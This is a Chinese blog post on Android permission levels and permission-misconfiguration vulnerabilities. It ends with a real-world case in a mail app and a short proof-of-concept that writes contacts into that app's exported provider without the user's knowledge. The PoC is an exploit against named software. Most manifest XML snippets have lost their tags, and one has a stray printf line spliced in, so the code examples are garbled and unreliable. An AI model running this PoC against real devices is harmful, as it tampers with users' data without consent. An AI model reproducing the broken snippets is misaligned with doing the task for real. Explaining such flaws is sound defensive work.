Android权限概述

权限有助于限制对某些 Android 组件(如活动、广播接收器、服务和内容提供者)的访问。权限还用于在运行时验证应用程序是否有权访问敏感信息或执行危险操作。开发人员可以在应用程序的AndroidManifest.xml文件中声明各种权限类型。比如,应用程序想要有权限访问联系人,必须在Androidmanifest.xml中包含如下声明:

"android.permission.READ_CONTACTS" />

Android将权限分为不同的类型,包括安装时权限、运行时权限和特殊权限。每种权限类型都指明了当系统授予应用该权限后,应用可以访问的受限数据范围以及应用可以执行的受限操作范围。

安装时权限

首先安装时权限,顾名思义就是系统会在你安装时自动授予这些权限,并在你安装时进行通知。Android提供了多个安装时权限的子类型,包括普通权限和签名权限。普通权限规定的操作对用户隐私和对其他应用带来的操作影响较小。

分配为“normal”保护级别。签名权限是当应用声明了其他应用已定义的签名权限时,如果两个应用使用同一个证书签名,那么系统就会在安装时就向前者授予该权限了。分配为“signature”保护级别。

运行时权限

其次是运行时权限。运行时权限也被称为危险权限,此类权限授予应用对受限数据的额外访问权限,并允许应用执行对系统和其他应用具有更严重影响的受限操作。需要先在应用中请求运行时权限,然后才能访问受限数据或执行受限操作。当应用请求运行时权限时,系统会显示运行时权限提示。就是咱们现在常见的允许访问存储空间这一类的弹窗提示。许多运行时权限会访问用户私有数据,这是一种特殊的受限数据,其中包含可能比较敏感的信息。例如,位置信息和联系信息就属于用户私有数据。系统会为运行时权限分配“dangerous”保护级别。

特殊权限

特殊权限是与特定的应用操作对应的,只有平台和原始设备制造商 (OEM) 可以定义特殊权限。此外,如果平台和 OEM 想要防止有人执行功能特别强大的操作(例如通过其他应用绘图),通常会定义特殊权限。系统会为特殊权限分配“appop”保护级别。

声明应用权限

如果需要声明应用可能请求的权限,要在应用的清单文件中添加相应的 use-permission 元素

比如访问相机:

"android.permission.CAMERA"/>

保护级别为dangerous。

此外,如果我们想要创建自己的权限,也需要声明

printf("hello world!");"com.mycam.USE_CAMERA" android:protectionLevel="dangerous" />

".CamActivity" android:exported="true" android:permission="com.mycam.USE_CAMERA">            "com.mycam.LAUNCH_CAM" />        "android.intent.category.DEFAULT" />    

第三方应用想要使用此功能,需要进行如下声明:

"com.mycam.USE_CAMERA" />

相关漏洞

忘记保护级别

如果程序中没有声明protectionLevel,此时权限就会被默认标记normal

"com.mycam.USE_CAMERA" />

这就意味着,任何的应用程序都可以使用它。这就有可能导致用户的隐私信息,比如通话记录、短信等。

生态系统错误

假设此时有两个应用程序的生态系统:my cam和my reader。此时reader可以使用相机应用程序的功能。

cam清单文件:

"http://schemas.android.com/apk/res/android" package="com.mycam">    "com.mycam.USE_CAMERA" android:protectionLevel="signature" />    "com.mycam.USE_CAMERA" />
    "My Cam">        ".CamActivity" android:exported="true" android:permission="com.mycam.USE_CAMERA">                            "com.mycam.LAUNCH_CAM" />                "android.intent.category.DEFAULT" />                                

reader清单文件:

"http://schemas.android.com/apk/res/android" package="com.mycoolreader">    "com.mycam.USE_CAMERA" />
    "My Reader">        ".AllUserNotesContentProvider" android:authorities="com.myreader.notes_provider" android:exported="true" android:permission="com.mycam.USE_COOL_CAMERA" />            

此时,只有来自生态系统的应用才能访问AllUserNotesContentProvider,但是,如果用户只安装了reader,那么Android系统就不知道com.mycam.USE_CAMERA权限声明的任何内容,那么权限级别就默认标记为了normal。此时就出现了问题。

组件声明中的错误

"com.mycam.USE_CAMERA" android:protectionLevel="signature" />

".CamActivity" android:exported="true" android:uses-permission="com.mycam.USE_CAMERA">            "com.mycam.LAUNCH_CAM" />        "android.intent.category.DEFAULT" />    

这个可以清晰的看出来,开发者没有使用android:permission属性,而是使用了android:uses-permission,这就意味着该组件没有设置保护级别。

权限保护不足

应用程序没有完全保护他们使用的权限,所以这为第三方应用程序利用易受攻击的应用程序并获得权利留下了空间。

"android.permission.READ_CONTACTS" />

".ContactsProvider" android:authorities="com.exampleapp.contacts" android:exported="true" />

此时在ContactsProvider.java里面

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {    return getContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,            projection,            selection,            selectionArgs,            sortOrder);}

访问 URI ContactsContract.CommonDataKinds.Phone需要权限android.permission.READ_CONTACTS

但是就不需要com.exampleapp.contacts。

真实案例

布局文件注册权限:write_contacts

"@string/write_contact_permission" android:name="ru.mail.mailbox.contacts.permission.write_contacts" android:protectionLevel="dangerous"/>

但是却使用了write:

"@string/contacts" android:name="ru.mail.mailbox.content.contact.ContactsProvider" android:readPermission="android.permission.BIND_CHOOSER_TARGET_SERVICE" android:writePermission="ru.mail.mailbox.contacts.permission.write" android:enabled="true" android:exported="true" android:authorities="ru.mail.mailbox.contacts" android:syncable="false"/>

那么就跟上面没有关系了,直接默认normal保护级别,任何第三方应用程序都可以将数据写入该数据库。

编写poc

 "ru.mail.mailbox.contacts.permission.write" />    "ru.mail.mailbox.contacts.permission.write" />

ContentValues contentValues = new ContentValues();        contentValues.put("display_name", "ihuoxian");        contentValues.put("email", "test@test");        getContentResolver().insert(Uri.parse("content://ru.mail.mailbox.contacts/"), contentValues);

此时就可以在用户没有任何感知的情况,加入了一条联系人信息。

总结

Android权限的滥用相对来说定位比较简单,在Androidmainfest表单下,剩下的步骤就需要大家去分析权限的级别信息等等,可以看一下谷歌官方说明加深印象。

https://developer.android.com/guide/topics/permissions/overview?hl=zh-cn